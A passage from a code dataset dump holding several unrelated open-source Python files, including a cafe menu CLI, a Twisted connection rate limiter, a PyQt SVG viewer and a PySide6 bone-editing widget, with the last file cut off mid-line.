|\r\n ****************************\r\n \r\n APPETIZERS\r\n ----------------------------\r\n {}\r\n {}\r\n {}\r\n {}\r\n \r\n ENTREES\r\n ----------------------------\r\n {}\r\n {}\r\n {}\r\n \r\n DESSERT\r\n ----------------------------\r\n {}\r\n {}\r\n {}\r\n \r\n DRINKS\r\n ----------------------------\r\n {}\r\n {}\r\n {}\r\n \r\n \"\"\".format(*menu_dict)\r\n)\r\n\r\norder_prompt = dedent(\r\n '''\r\n ----------------------------\r\n What would you like?\r\n ----------------------------\r\n Type the food you would like\r\n Type 'help' for assistance\r\n '''\r\n)\r\n\r\nhelp_menu = dedent(\r\n '''\r\n Commands:\r\n cart - view your cart\r\n menu - view the menu\r\n clear - to clear your cart\r\n quit - to leave the app\r\n '''\r\n)\r\n\r\nfarewell = dedent(\r\n \"\"\"\r\n ****************************\r\n | THANK YOU! |\r\n ****************************\r\n \"\"\"\r\n)\r\n\r\n\r\ndef main():\r\n print(greeting)\r\n print(menu)\r\n\r\n while True:\r\n\r\n order_item = input(order_prompt)\r\n\r\n order_item = order_item.lower().title()\r\n\r\n if order_item == \"Cart\":\r\n print('Cart:')\r\n for item in menu_dict:\r\n if menu_dict[item] > 0:\r\n print(f\"{item}: {menu_dict[item]}\")\r\n elif order_item == \"Menu\":\r\n print(menu)\r\n elif order_item == \"Help\":\r\n print(help_menu)\r\n elif order_item == \"Clear\":\r\n for item in menu_dict:\r\n menu_dict[item] = 0\r\n elif order_item == \"Quit\":\r\n break\r\n elif order_item not in menu_dict:\r\n print('Sorry, please pick from our menu.')\r\n else:\r\n menu_dict[order_item] += 1\r\n print(f\"{menu_dict[order_item]} orders of {order_item} have been added. See cart by typing 'cart'\")\r\n\r\n print(farewell)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"JustinHamerly/TokyoCafe","sub_path":"tokyo_cafe.py","file_name":"tokyo_cafe.py","file_ext":"py","file_size_in_byte":2537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7387796018","text":"# usage:\n#\n# from twisted.internet import reactor\n# from ConnectionRateLimitReactor import connectionRateLimitReactor\n# connectionRateLimitReactor(reactor, max_incomplete=10)\n#\n# by Greg Hazel\n\nimport threading\nfrom twisted.python import threadable\nfrom twisted.internet import interfaces\n\ntry:\n from zope.interface import implements\n zope = True\nexcept ImportError:\n zope = False\n\nclass HookedFactory(object):\n def __init__(self, reactor, factory, host):\n self.reactor = reactor\n self.factory = factory\n self.host = host\n\n def clientConnectionFailed(self, *a, **kw):\n self.reactor._remove_pending_connection(self.host)\n return self.factory.clientConnectionFailed(*a, **kw)\n\n def buildProtocol(self, *a, **kw):\n p = self.factory.buildProtocol(*a, **kw)\n old_connectionMade = p.connectionMade\n def connectionMade(*a2, **kw2):\n self.reactor._remove_pending_connection(self.host)\n return old_connectionMade(*a2, **kw2)\n p.connectionMade = connectionMade\n return p\n\n def __getattr__(self, attr):\n return getattr(self.factory, attr)\n \n\nclass IRobotConnector(object):\n if zope:\n try:\n implements(interfaces.IConnector)\n except:\n # stupid zope verisons!\n pass\n\n def __init__(self, reactor, host, port, factory, timeout, bindAddress):\n self.reactor = reactor\n self.host = host\n self.port = port\n self.factory = factory\n self.timeout = timeout\n self.connector = None\n self.bindAddress = bindAddress\n self.do_not_connect = False\n\n self.factory = HookedFactory(self.reactor, self.factory, self.host)\n\n def disconnect(self):\n if self.connector:\n self.connector.disconnect()\n else:\n self.do_not_connect = True\n stopConnecting = disconnect\n\n def connect(self):\n #print 'connecting', self.host, self.port\n self.reactor.add_pending_connection(self.host)\n self.connector = self.reactor.old_connectTCP(self.host, self.port,\n self.factory, self.timeout,\n self.bindAddress)\n # hm, this might briefly connect, but at least it fires the callback\n if self.do_not_connect:\n self.connector.disconnect()\n return self.connector\n\n def getDestination(self):\n return address.IPv4Address('TCP', self.host, self.port, 'INET')\n\n\nclass ConnectionRateLimiter(object):\n def __init__(self, reactor, max_incomplete):\n self.reactor = reactor\n self.pending_starters = []\n self.max_incomplete = max_incomplete\n # this can go away when urllib does\n self.pending_sockets_lock = threading.RLock()\n self.pending_sockets = {}\n self.old_connectTCP = self.reactor.connectTCP\n\n # safe from any thread \n def add_pending_connection(self, host):\n #print 'adding', host, 'iot', threadable.isInIOThread()\n self.pending_sockets_lock.acquire()\n self.pending_sockets.setdefault(host, 0)\n self.pending_sockets[host] += 1\n self.pending_sockets_lock.release()\n\n # thread footwork, because _remove actually starts new connections\n def remove_pending_connection(self, host):\n if not threadable.isInIOThread():\n self.reactor.callFromThread(self._remove_pending_connection, host)\n else:\n self._remove_pending_connection(host)\n\n def _remove_pending_connection(self, host):\n #print 'removing', host\n self.pending_sockets_lock.acquire()\n self.pending_sockets[host] -= 1\n if self.pending_sockets[host] <= 0:\n del self.pending_sockets[host]\n self._push_new_connections()\n self.pending_sockets_lock.release()\n\n def _push_new_connections(self):\n if not self.pending_starters:\n return\n c = self.pending_starters.pop(0)\n c.connect()\n\n def connectTCP(self, host, port, factory, timeout=30, bindAddress=None):\n c = IRobotConnector(self, host, port, factory, timeout, bindAddress)\n \n # the XP connection rate limiting is unique at the IP level\n if (len(self.pending_sockets) >= self.max_incomplete and\n host not in self.pending_sockets):\n #print 'postponing', host, port\n self.pending_starters.append(c)\n else:\n c.connect()\n \n return c\n\n\ndef connectionRateLimitReactor(reactor, max_incomplete):\n limiter = ConnectionRateLimiter(reactor, max_incomplete)\n assert not hasattr(reactor, 'crl_installed'), \\\n \"reactor already has conncetion rate limiter installed\"\n reactor.connectTCP = limiter.connectTCP\n reactor.add_pending_connection = limiter.add_pending_connection\n reactor.remove_pending_connection = limiter.remove_pending_connection\n reactor.crl_installed = True\n","repo_name":"BackupTheBerlios/tf-b4rt-svn","sub_path":"branches/clients/TF_Mainline/BitTorrent-4.20.9/BitTorrent/ConnectionRateLimitReactor.py","file_name":"ConnectionRateLimitReactor.py","file_ext":"py","file_size_in_byte":5002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70420663877","text":"import os\r\n\r\ndef get_large_video_files(spath):\r\n\tlarge_file_dict = {}\r\n\tfor (dirname,dirfolders,dirfiles) in os.walk(spath): #tuple of 3 contains root directory name, list of folders in the directory, list of files in the directory\r\n\t\t\r\n\t\tfor dirfile in dirfiles: #for each file in the file list\r\n\t\t\tdirfile_size = os.path.getsize(dirname+'\\\\'+dirfile) #get size of the file\r\n\t\t\t\r\n\t\t\tif(dirfile.endswith(\".mp4\") and dirfile_size>258435456): #filter out mp4 files larger than ~246 MB\r\n\t\t\t\tdirfile_path = (dirname+'\\\\'+dirfile) #get addresses of those files\r\n\t\t\t\tlarge_file_dict[dirfile_path] = dirfile_size #append the addresses to the list\r\n\t\r\n\treturn large_file_dict","repo_name":"TheViralClovers/LargeVideoSplitter","sub_path":"get_large_video_files.py","file_name":"get_large_video_files.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"40452926406","text":"from typing import Union, Optional\n\nfrom PySide6.QtCore import Qt, QRectF, QPointF\nfrom PySide6.QtGui import QBrush, QPen, QPolygonF\nfrom PySide6.QtWidgets import (\n QGraphicsItem,\n QGraphicsEllipseItem,\n QGraphicsPolygonItem,\n QGraphicsSceneHoverEvent\n)\n\nfrom common.signal_bus import SIGNAL_BUS\nfrom views.ctrl_handles.select_handles import SelectHandles\nfrom views.connect_arrow import ConnectArrow\nfrom views.property import VisualProperty\nfrom views.texture_item import TextureItem\n\nRING_BORDER_WIDTH = 1\nRING_RADIUS = 5\nDRAG_POINT_BORDER_WIDTH = 0.2\nDRAG_POINT_RADIUS = 0.5\n\n\nclass Ring(QGraphicsEllipseItem):\n def __init__(self, rect, parent=None):\n super().__init__(rect, parent)\n self.setFlags(\n QGraphicsItem.ItemIsMovable | QGraphicsItem.ItemSendsGeometryChanges\n | QGraphicsItem.ItemSendsScenePositionChanges)\n brush = QBrush(Qt.yellow)\n self.setBrush(brush)\n # self.setAcceptHoverEvents(True)\n # self.__radius = radius\n\n def move_center_to(self, x, y) -> None:\n \"\"\"\n 使该item的原点为中心\n \"\"\"\n rect = self.boundingRect()\n offset = rect.center()\n super().moveBy(x - offset.x(), y - offset.y())\n\n\nclass DragPoint(QGraphicsEllipseItem):\n def __init__(self, rect, parent=None):\n super().__init__(rect, parent)\n # self.setAcceptHoverEvents(True)\n # self.setFlags(QGraphicsItem.ItemIsSelectable)\n\n def itemChange(self, change, value):\n if change == QGraphicsItem.ItemPositionChange:\n # print(\"item change\", value)\n pass\n return super().itemChange(change, value)\n\n def move_center_to(self, x, y) -> None:\n rect = self.boundingRect()\n offset = rect.center()\n super().moveBy(x - offset.x(), y - offset.y())\n\n def hoverEnterEvent(self, event: QGraphicsSceneHoverEvent) -> None:\n pass\n # print(\"hover enter\", self)\n\n def hoverLeaveEvent(self, event: QGraphicsSceneHoverEvent) -> None:\n pass\n # print(\"hover leave\", self)\n\n\nclass Arrow(QGraphicsPolygonItem):\n def __init__(self, polygon, parent=None):\n super().__init__(polygon, parent)\n brush = QBrush(Qt.yellow)\n self.setBrush(brush)\n self.setFlags(QGraphicsItem.ItemSendsGeometryChanges | QGraphicsItem.ItemSendsScenePositionChanges)\n\n def itemChange(self, change, value):\n if change == QGraphicsItem.ItemRotationChange:\n bone = self.parentItem()\n if bone:\n SIGNAL_BUS.signal_items_property_changed_from_scene.emit(bone)\n\n return super().itemChange(change, value)\n\n\nclass Bone(Ring):\n bone_count: int = 0\n\n def __init__(self, position, scene: 'DrawScene', parent: Arrow = None):\n super().__init__(QRectF(-RING_RADIUS, -RING_RADIUS, RING_RADIUS * 2, RING_RADIUS * 2), parent)\n # self.setAcceptHoverEvents(True)\n self._scene = scene\n pen = QPen(Qt.cyan)\n pen.setWidthF(0.1)\n\n # 圆圈\n # self._ring = Ring(QRectF(-RING_RADIUS, -RING_RADIUS, RING_RADIUS * 2, RING_RADIUS * 2))\n if parent is not None:\n position = parent.mapFromScene(position)\n else:\n print(\"scene add item\")\n scene.addItem(self)\n\n self.move_center_to(position.x(), position.y())\n\n # Define the pen (line)\n pen.setWidthF(RING_BORDER_WIDTH)\n self.setPen(pen)\n\n # rect.setPen(pen)\n # scene.addItem(self._ring)\n\n # 箭头\n p0 = QPointF(0, 0)\n p1 = QPointF(1, -1)\n p2 = QPointF(RING_RADIUS - RING_BORDER_WIDTH / 2, 0)\n p3 = QPointF(1, 1)\n arrow_polygon = QPolygonF([p0, p1, p2, p3])\n self._arrow = Arrow(arrow_polygon, self)\n self._arrow.setPos(0, 0)\n # arrow.setRotation(90)\n pen.setWidthF(0.1)\n pen.setColor(Qt.black)\n self._arrow.setPen(pen)\n\n # scene.addItem(self._arrow)\n\n # 拉伸点\n self._drag_point = DragPoint(\n QRectF(-DRAG_POINT_RADIUS / 2, -DRAG_POINT_RADIUS / 2, DRAG_POINT_RADIUS, DRAG_POINT_RADIUS), self._arrow)\n self._drag_point.move_center_to(RING_RADIUS - RING_BORDER_WIDTH / 2, 0)\n pen = QPen(Qt.red)\n pen.setWidthF(DRAG_POINT_BORDER_WIDTH)\n self._drag_point.setPen(pen)\n\n # 首尾的坐标什么时候会变\n # 1 移动\n # 2 旋转\n # 3 伸缩\n self._head_point_pos: Union[QPointF, None] = None\n self._tail_point_pos: Optional[QPointF] = QPointF(0, 0)\n self._arrow_angle_to_scene = 0\n self._connect_arrow: Union[ConnectArrow, None] = None\n self._handle: Union[SelectHandles, None] = None\n self._is_selected: bool = False # 是否选中\n self._texture_item: Optional[TextureItem] = None\n self._scene_width_scale: float = 1\n self._scene_height_scale: float = 1\n self._visual_property: Optional[VisualProperty] = VisualProperty()\n self.setZValue(2)\n\n if parent is not None:\n self._arrow_angle_to_scene = parent.parentItem().arrow_angle_to_scene\n self._bone_num = Bone.bone_count + 1\n Bone.bone_count += 1\n\n def rotation_arrow(self, scene_angle, distance):\n self._arrow_angle_to_scene = scene_angle\n\n parent_bone = self.parent_bone()\n if parent_bone is not None:\n local_angle = scene_angle - parent_bone.arrow_angle_to_scene\n else:\n local_angle = scene_angle\n self._arrow.setRotation(local_angle)\n\n # if distance <= RING_RADIUS - RING_BORDER_WIDTH / 2:\n # x = math.cos(local_angle) * (RING_RADIUS - RING_BORDER_WIDTH / 2)\n # y = math.sin(local_angle) * (RING_RADIUS - RING_BORDER_WIDTH / 2)\n # self._tail_point_pos = QPointF(x, y)\n\n def move_drag_point(self, scene_pos: QPointF) -> None:\n pos = self._drag_point.mapFromScene(scene_pos)\n self._drag_point.move_center_to(pos.x(), pos.y())\n self._tail_point_pos = self._arrow.mapFromScene(scene_pos)\n\n def stretch_arrow(self, distance):\n if self._arrow is not None:\n p0 = QPointF(0, 0)\n p1 = QPointF(1, -1)\n p2 = QPointF(distance, 0)\n p3 = QPointF(1, 1)\n\n if distance > RING_RADIUS * 2:\n p1 = QPointF(RING_RADIUS * 2, -(RING_RADIUS - RING_BORDER_WIDTH / 2))\n p3 = QPointF(RING_RADIUS * 2, RING_RADIUS - RING_BORDER_WIDTH / 2)\n\n arrow_polygon = QPolygonF([p0, p1, p2, p3])\n self._arrow.setPolygon(arrow_polygon)\n\n def hover_enter_process(self):\n brush = QBrush(Qt.darkGray)\n\n self.setBrush(brush)\n self.update()\n\n self._arrow.setBrush(brush)\n self._arrow.update()\n\n def hover_leave_process(self):\n brush = QBrush(Qt.lightGray)\n if self._is_selected:\n brush = QBrush(Qt.yellow)\n\n self.setBrush(brush)\n self.update()\n\n self._arrow.setBrush(brush)\n self._arrow.update()\n\n def itemChange(self, change, value):\n if change == QGraphicsItem.ItemPositionHasChanged:\n try:\n if self._is_selected:\n SIGNAL_BUS.signal_items_property_changed_from_scene.emit(self)\n except AttributeError:\n pass\n\n parent_bone = self.parent_bone()\n if parent_bone is None:\n return super().itemChange(change, value)\n\n try:\n if self._connect_arrow is not None:\n self._connect_arrow.update_line(parent_bone.tail_point_pos, value)\n except AttributeError:\n pass\n\n elif change == QGraphicsItem.ItemRotationChange:\n print(\"bone pos change\", value)\n elif change == QGraphicsItem.ItemScenePositionHasChanged:\n # print(\"bone scene pos change\", self._handle, value)\n try:\n self._handle.setPos(value.x(), value.y())\n if self._texture_item:\n self._texture_item.bone_pos = value\n\n except AttributeError:\n pass\n\n return super().itemChange(change, value)\n\n def parent_bone(self):\n parent_item = self.parentItem()\n if parent_item is None:\n return None\n else:\n return parent_item.parentItem()\n\n @property\n def arrow(self):\n return self._arrow\n\n @property\n def arrow_angle_to_scene(self):\n return self._arrow_angle_to_scene\n\n @property\n def connect_arrow(self) -> ConnectArrow:\n return self._connect_arrow\n\n @connect_arrow.setter\n def connect_arrow(self, value: ConnectArrow):\n self._connect_arrow = value\n\n @property\n def handler(self):\n return self._handle\n\n @handler.setter\n def handler(self, value: SelectHandles):\n self._handle = value\n\n @property\n def bone_num(self):\n return self._bone_num\n\n @property\n def tail_point_pos(self):\n return self._tail_point_pos\n\n @property\n def is_selected(self) -> bool:\n return self._is_selected\n\n @is_selected.setter\n def is_selected(self, value: bool):\n self._is_selected = value\n if self._is_selected:\n brush = QBrush(Qt.yellow)\n self.setBrush(brush)\n self.update()\n\n self._arrow.setBrush(brush)\n self._arrow.update()\n\n @property\n def texture_item(self) -> TextureItem:\n return self._texture_item\n\n @texture_item.setter\n def texture_item(self, texture_item: TextureItem) -> None:\n self._texture_item = texture_item\n\n def disable_changes(self):\n self.setFlags(QGraphicsItem.ItemIsMovable)\n self._arrow.setFlags(QGraphicsItem.ItemIsMovable)\n\n def enable_changes(self):\n self.setFlags(\n QGraphicsItem.ItemIsMovable | QGraphicsItem.ItemSendsGeometryChanges\n | QGraphicsItem.ItemSendsScenePositionChanges)\n self._arrow.setFlags(\n QGraphicsItem.ItemSendsGeometryChanges | QGraphicsItem.ItemSendsScenePositionChanges)\n\n @property\n def scene_angle(self):\n return self._arrow_angle_to_scene\n\n @scene_angle.setter\n def scene_angle(self, value):\n self._arrow_angle_to_scene = value\n\n @property\n def scene_width_scale(self):\n return self._scene_width_scale\n\n @property\n def scene_height_scale(self):\n return self._scene_height_scale\n\n @property\n def visual_property(self) -> VisualProperty:\n p = self._visual_property\n p.position = self.pos()\n p.local_angle = self._arrow.rotation()\n p.scene_angle = self._arrow_angle_to_scene\n\n rect = self.boundingRect()\n p.width = rect.width()\n p.height = rect.height()\n p.local_width_scale = self.transform().m11()\n p.local_height_scale = self.transform().m22()\n p.scene_width_scale = self._scene_width_scale\n p.scene_height_scale = self._scene_height_scale\n return p\n\n def notify_visual_property_changed(self):\n try:\n self.disable_changes() # no need send item change info again\n p = self._visual_property\n self.setPos(p.position.x(), p.position.y())\n self._arrow.setRotation(p.local_angle)\n finally:\n self.enable_changes()\n","repo_name":"likun123687/ant2d_animate","sub_path":"views/bone.py","file_name":"bone.py","file_ext":"py","file_size_in_byte":11381,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"1856085394","text":"#imageToDataTest10a.py\nimport os\nfrom armor import pattern\ndp = pattern.dp\ndbz= pattern.DBZ\ninputFolder = dp.root+'labLogs2/charts2_classification_global/'\noutputFolder = inputFolder\ndataFileName= 'log_imageToDataTest9.txt'\n\nif not os.path.exists(outputFolder):\n os.makedirs(outputFolder)\n\nx = open(inputFolder+dataFileName,'r').read()\nL = x.split('\\n')\nL = [v for v in L if '[' in v]\nL1 = [v.split(',') for v in L]\nL2 = [v[:13] for v in L]\nL3 = [v[17:-1] for v in L]\nL4 = [[int(w) for w in v.split(',') ] for v in L3]\n\nN = len(L)\nfor i in range(N):\n a = dbz(dataTime=L2[i], name=L2[i]+'\\n'+str(L4[i]))\n a.loadImage()\n a.imagePath = outputFolder + str(L4[i]) + '.jpg'\n a.saveImage()","repo_name":"yaukwankiu/armor","sub_path":"tests/imageToDataTest10a.py","file_name":"imageToDataTest10a.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"8200286307","text":"import unittest\nimport gestor_csv\nimport csv\nimport os\n\nclass TestGestorCsvMethods(unittest.TestCase):\n\n\tdef setUp(self):\n\t\twith open(\"teste.csv\", 'w', newline='') as arquivo_csv_escrita:\n\t\t\tescritor = csv.DictWriter(arquivo_csv_escrita, fieldnames=[\"cab1\", \"cab2\", \"cab3\"])\n\t\t\tescritor.writeheader()\n\t\t\tescritor.writerow({\"cab1\": 1, \"cab2\": \"1\", \"cab3\": \"bla\"})\n\t\t\tescritor.writerow({\"cab1\": 2, \"cab2\": \"2\", \"cab3\": \"ble\"})\n\t\t\tescritor.writerow({\"cab1\": 3, \"cab2\": \"3\", \"cab3\": \"bli\"})\n\n\n\tdef test_get_linha_existente(self):\n\t\tresultado = gestor_csv.get_linha(1, \"cab1\", \"teste.csv\")\n\t\toraculo = {\"cab1\": \"1\", \"cab2\": \"1\", \"cab3\": \"bla\"}\n\t\tself.assertDictEqual(resultado, oraculo)\n\n\tdef test_get_linha_inexistente(self):\n\t\twith self.assertRaises(ValueError):\n\t\t\tgestor_csv.get_linha(\"bla\", \"cab2\", \"teste.csv\")\n\n\n\tdef test_salvar_linha_existente(self):\n\t\tlinha = {\"cab1\": 4, \"cab2\": \"1\", \"cab3\": \"bla\"}\n\t\tgestor_csv.salvar_linha(linha, \"cab2\", [\"cab1\", \"cab2\", \"cab3\"], \"teste.csv\")\n\t\tresultado = gestor_csv.get_linha(4, \"cab1\", \"teste.csv\")\n\t\toraculo = {\"cab1\": \"4\", \"cab2\": \"1\", \"cab3\": \"bla\"}\n\t\tself.assertDictEqual(resultado, oraculo)\n\n\tdef test_salvar_linha_inexistente(self):\n\t\tlinha = {\"cab1\": \"4\", \"cab2\": \"1\", \"cab3\": \"bla\"}\n\t\tgestor_csv.salvar_linha(linha, \"cab1\", [\"cab1\", \"cab2\", \"cab3\"], \"teste.csv\")\n\t\tresultado = gestor_csv.get_linha(4, \"cab1\", \"teste.csv\")\n\t\toraculo = {\"cab1\": \"4\", \"cab2\": \"1\", \"cab3\": \"bla\"}\n\t\tself.assertDictEqual(resultado, oraculo)\n\n\tdef tearDown(self):\n\t\tos.remove(\"teste.csv\")","repo_name":"Berna-L/desafio-sti","sub_path":"TestGestorCsvMethods.py","file_name":"TestGestorCsvMethods.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73779474438","text":"import os\n\nfrom PyQt5.QtWidgets import QMainWindow, QToolBar, QWidgetAction, QFileDialog, QSplitter, QGridLayout, QWidget\nfrom pyqt_svg_button import SvgButton\nfrom pyqt_description_tooltip import DescriptionToolTipGetter\n\nfrom pyqt_svg_viewer.sourceWidget import SourceWidget\n\nfrom pyqt_list_viewer_widget.listViewerWidget import ListViewerWidget\nfrom pyqt_get_selected_filter import getSelectedFilter\n\nfrom pyqt_svg_viewer.svgViewerView import SvgViewerView\n\n\nclass SvgViewer(QMainWindow):\n def __init__(self):\n super().__init__()\n self.__initVal()\n self.__initUi()\n\n def __initVal(self):\n self.__title = 'SVG Viewer'\n self.__extensions = ['.svg']\n\n def __initUi(self):\n self.setWindowTitle(self.__title)\n\n self.__srcWidget = SourceWidget()\n self.__srcWidget.closeSignal.connect(self.__srcWidgetBtnToggled)\n\n self.__listViewerWidget = ListViewerWidget()\n self.__listViewerWidget.closeListSignal.connect(self.__fileListWidgetBtnToggled)\n self.__listViewerWidget.closeViewerSignal.connect(self.__showNavigationToolbar)\n self.__listViewerWidget.setExtensions(self.__extensions)\n self.__listViewerWidget.setView(SvgViewerView())\n self.__listViewerWidget.setWindowTitleBasedOnCurrentFileEnabled(True, self.windowTitle())\n self.__listViewerWidget.showSignal.connect(self.__showSource)\n\n self.__fileListWidget = self.__listViewerWidget.getListWidget()\n\n splitter = QSplitter()\n splitter.addWidget(self.__listViewerWidget)\n splitter.addWidget(self.__srcWidget)\n splitter.setSizes([400, 200])\n splitter.setChildrenCollapsible(False)\n\n self.__fileListWidget.hide()\n self.__srcWidget.hide()\n\n self.setCentralWidget(splitter)\n\n self.__setActions()\n self.__setToolBar()\n\n def __showFileToViewer(self, filename: str):\n self.__viewerWidget.setCurrentFilename(filename)\n\n def __showSource(self, filename: str):\n self.__srcWidget.setSourceOfFile(filename)\n\n def __removeSomeFilesFromViewer(self, filenames: list):\n self.__viewerWidget.removeSomeFilesFromViewer(filenames)\n self.__selectCurrentFileItemInList()\n\n def __selectCurrentFileItemInList(self):\n idx = self.__viewerWidget.getCurrentIndex()\n self.__fileListWidget.setCurrentItem(idx)\n self.__showSource(self.__fileListWidget.getFilenameFromRow(idx))\n self.__viewerWidget.setFocus()\n\n def __setActions(self):\n self.__loadFileAction = QWidgetAction(self)\n self.__loadFileBtn = SvgButton(self)\n self.__loadFileBtn.setIcon('ico/add_file.svg')\n self.__loadFileBtn.setShortcut('Ctrl+O')\n self.__loadFileBtn.setToolTip(DescriptionToolTipGetter.getToolTip(title='Open Files',\n shortcut='Ctrl+O'))\n self.__loadFileBtn.clicked.connect(self.__loadFile)\n self.__loadFileAction.setDefaultWidget(self.__loadFileBtn)\n\n self.__loadDirAction = QWidgetAction(self)\n self.__loadDirBtn = SvgButton(self)\n self.__loadDirBtn.setIcon('ico/add_dir.svg')\n self.__loadDirBtn.setShortcut('Ctrl+Shift+O')\n self.__loadDirBtn.setToolTip(DescriptionToolTipGetter.getToolTip(title='Open Directory',\n shortcut='Ctrl+Shift+O'))\n self.__loadDirBtn.clicked.connect(self.__loadDir)\n self.__loadDirAction.setDefaultWidget(self.__loadDirBtn)\n\n self.__fileListToggleAction = QWidgetAction(self)\n self.__fileListToggleBtn = SvgButton(self)\n self.__fileListToggleBtn.setIcon('ico/list.svg')\n self.__fileListToggleBtn.setCheckable(True)\n self.__fileListToggleBtn.setShortcut('Ctrl+L')\n self.__fileListToggleBtn.setToolTip(DescriptionToolTipGetter.getToolTip(title='Show File List',\n shortcut='Ctrl+L'))\n self.__fileListToggleBtn.toggled.connect(self.__fileListToggle)\n self.__fileListToggleAction.setDefaultWidget(self.__fileListToggleBtn)\n\n self.__showNavigationToolbarAction = QWidgetAction(self)\n self.__showNavigationToolbarBtn = SvgButton(self)\n self.__showNavigationToolbarBtn.setIcon('ico/navigation_bar.svg')\n self.__showNavigationToolbarBtn.setCheckable(True)\n self.__showNavigationToolbarBtn.setChecked(True)\n self.__showNavigationToolbarBtn.setShortcut('Ctrl+B')\n self.__showNavigationToolbarBtn.setToolTip(DescriptionToolTipGetter.getToolTip(title='Hide Navigation Bar',\n shortcut='Ctrl+B'))\n self.__showNavigationToolbarBtn.toggled.connect(self.__showNavigationToolbar)\n self.__showNavigationToolbarAction.setDefaultWidget(self.__showNavigationToolbarBtn)\n\n self.__srcWidgetToggleAction = QWidgetAction(self)\n self.__srcWidgetToggleBtn = SvgButton(self)\n self.__srcWidgetToggleBtn.setIcon('ico/source.svg')\n self.__srcWidgetToggleBtn.setCheckable(True)\n self.__srcWidgetToggleBtn.setShortcut('Ctrl+S')\n self.__srcWidgetToggleBtn.setToolTip(DescriptionToolTipGetter.getToolTip(title='Show Source Browser',\n shortcut='Ctrl+S'))\n self.__srcWidgetToggleBtn.toggled.connect(self.__srcWidgetToggle)\n self.__srcWidgetToggleAction.setDefaultWidget(self.__srcWidgetToggleBtn)\n\n self.__fullScreenToggleAction = QWidgetAction(self)\n self.__fullScreenToggleBtn = SvgButton(self)\n self.__fullScreenToggleBtn.setIcon('ico/full_screen.svg')\n self.__fullScreenToggleBtn.setCheckable(True)\n self.__fullScreenToggleBtn.setShortcut('F11')\n self.__fullScreenToggleBtn.setToolTip(DescriptionToolTipGetter.getToolTip(title='Show As Full Screen',\n shortcut='F11'))\n self.__fullScreenToggleBtn.toggled.connect(self.__fullScreenToggle)\n self.__fullScreenToggleAction.setDefaultWidget(self.__fullScreenToggleBtn)\n\n def __setToolBar(self):\n toolbar = QToolBar()\n toolbar.addAction(self.__loadFileAction)\n toolbar.addAction(self.__loadDirAction)\n toolbar.addAction(self.__fileListToggleAction)\n toolbar.addAction(self.__showNavigationToolbarAction)\n toolbar.addAction(self.__srcWidgetToggleAction)\n toolbar.addAction(self.__fullScreenToggleAction)\n toolbar.setMovable(False)\n self.addToolBar(toolbar)\n toolbar.setStyleSheet('QToolBar { background-color: #888; }')\n\n def __srcWidgetToggle(self):\n if self.__srcWidget.isHidden():\n self.__srcWidget.show()\n self.__srcWidgetToggleBtn.setToolTip(DescriptionToolTipGetter.getToolTip(title='Hide source browser',\n shortcut='Ctrl+S'))\n else:\n self.__srcWidget.hide()\n self.__srcWidgetToggleBtn.setToolTip(DescriptionToolTipGetter.getToolTip(title='Show source browser',\n shortcut='Ctrl+S'))\n\n def __fileListToggle(self, f):\n if f:\n self.__fileListWidget.show()\n self.__fileListToggleBtn.setToolTip(DescriptionToolTipGetter.getToolTip(title='Hide File List',\n shortcut='Ctrl+L'))\n else:\n self.__fileListWidget.hide()\n self.__fileListToggleBtn.setToolTip(DescriptionToolTipGetter.getToolTip(title='Show File List',\n shortcut='Ctrl+L'))\n\n def __fullScreenToggle(self, f):\n if f:\n self.showFullScreen()\n else:\n self.showNormal()\n\n def __fileListWidgetBtnToggled(self):\n self.__fileListToggleBtn.setChecked(self.__fileListWidget.isHidden())\n\n def __srcWidgetBtnToggled(self):\n self.__srcWidgetToggleBtn.setChecked(self.__srcWidget.isHidden())\n\n def __loadFile(self):\n filename = QFileDialog.getOpenFileName(self, 'Open File', '',\n f'SVG File {getSelectedFilter(self.__extensions)}')\n if filename[0]:\n filename = filename[0]\n self.__listViewerWidget.addFilenames([filename])\n self.__showSource(filename)\n\n def __loadDir(self):\n dirname = QFileDialog.getExistingDirectory(self, 'Open Directory', '', QFileDialog.ShowDirsOnly)\n if dirname:\n self.__listViewerWidget.addDirectory(dirname)\n filename = [os.path.join(dirname, filename) for filename in os.listdir(dirname) if os.path.splitext(filename)[-1] in self.__extensions][0]\n self.__showSource(filename)\n\n def __showNavigationToolbar(self, f):\n self.__showNavigationToolbarBtn.setChecked(f)\n self.__listViewerWidget.setBottomWidgetVisible(f)\n if f:\n self.__showNavigationToolbarBtn.setToolTip(DescriptionToolTipGetter.getToolTip(title='Hide navigation bar',\n shortcut='Ctrl+B'))\n else:\n self.__showNavigationToolbarBtn.setToolTip(DescriptionToolTipGetter.getToolTip(title='Show navigation bar',\n shortcut='Ctrl+B'))\n","repo_name":"yjg30737/pyqt-svg-viewer","sub_path":"pyqt_svg_viewer/svgViewer.py","file_name":"svgViewer.py","file_ext":"py","file_size_in_byte":9715,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"9077990360","text":"##Assign to Vasu\n##Represents all the main points on the graph as resources , townhall, obstaacle\n##Functionalities required-\n## contour\n## area\n## angle with respect townhall\n\nfrom Area import Area\nfrom HSV import Color\n\n\nclass CheckpointShape(object):\n SQUARE = 'SQUARE'\n TRIANGLE = 'TRIANGLE'\n\n\nclass Checkpoint(object):\n \n def __init__(self,area,position,distance,angle,shape = None):\n from Utils import Utils\n self.shape = shape\n self.area = area\n self.center = position\n self.gridCenter = Utils.mapPoint(position) # DO NOT CHANGE!!\n self.path = None\n self.distance = distance #distance from origin to resource\n self.angle = angle\n \n def __lt__(self, other):\n return self.distance < other.distance\n\nclass CheckpointType(object):\n def __init__(self,checkpoint_type,color,contour_color):\n self.contour_color = contour_color\n self.area = Area(color)\n self.upper_color = Color.Color(color, 1)\n self.lower_color = Color.Color(color, 0)\n self.type = 